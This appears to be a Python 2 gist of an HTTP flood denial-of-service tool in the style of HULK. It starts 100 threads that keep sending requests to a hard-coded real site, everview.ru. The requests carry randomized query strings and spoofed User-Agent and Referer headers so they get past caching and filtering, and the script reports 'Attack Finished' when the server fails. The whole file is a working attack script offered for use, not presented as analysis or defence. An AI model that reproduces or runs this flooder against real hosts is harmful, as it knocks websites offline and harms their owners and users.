gistfile1.txt

# coding: utf-8

import urllib2
import sys
import random
import re
import threading

request_counter = 0
flag            = 0
safe            = 0

def buildblock(size):
    out_str = ''
    for i in range(0, size):
        a = random.randint(65, 90)
        out_str += chr(a)
    return(out_str)

def inc_counter():
    global request_counter
    request_counter += 1

def set_flag(val):
    global flag
    flag = val

def set_safe():
    global safe
    safe = 1

headers = {
    'useragents': [
        'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
        'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
        'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
        'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
        'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
        'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
        'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
    ],
    'refers': [
        'http://www.google.com/?q=',
        'http://www.usatoday.com/search/results?q=',
        'http://engadget.search.aol.com/search?q=',
        'http://vk.com/id1',
    ]
}

def http_call(url):
    code = 0

    if url.count("?")>0:
        param_joiner="&"
    else:
        param_joiner="?"

    #request = urllib2.Request(url)
    request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
    host = re.search('http\://([^/]*)/?.*', url).group(1)
    request.add_header('User-Agent', random.choice(headers['useragents']))
    request.add_header('Cache-Control', 'no-cache')
    request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
    request.add_header('Referer', random.choice(headers['refers']) + buildblock(random.randint(5,10)))
    request.add_header('Keep-Alive', random.randint(110,120))
    request.add_header('Connection', 'keep-alive')
    request.add_header('Host', host)
    try:
        urllib2.urlopen(request)
    except urllib2.HTTPError as err:
        #print e.code
        set_flag(1)
        print('Response Code 500')
        code = 500
    except urllib2.URLError as err:
        #print e.reason
        sys.exit()
    else:
        inc_counter()
        urllib2.urlopen(request)
    return code

class HTTPThread(threading.Thread):
    def run(self):
        try:
            while flag < 2:
                code = http_call(url)
                if code == 500  & safe == 1:
                    set_flag(2)
        except KeyboardInterrupt as err:
            print(err)
            sys.exit(-1)
        except Exception as err:
            pass

class MonitorThread(threading.Thread):
    def run(self):
        previous = request_counter
        while flag == 0:
            if (previous + 100 < request_counter) & (previous <> request_counter):
                print("%d Requests Sent" % (request_counter))
                previous = request_counter
        if flag == 2:
            print("\nAttack Finished")

if __name__ == '__main__':
    url = 'http://everview.ru/'
    for i in range(100):
        t = HTTPThread()
        t.start()
    t = MonitorThread()
    t.start()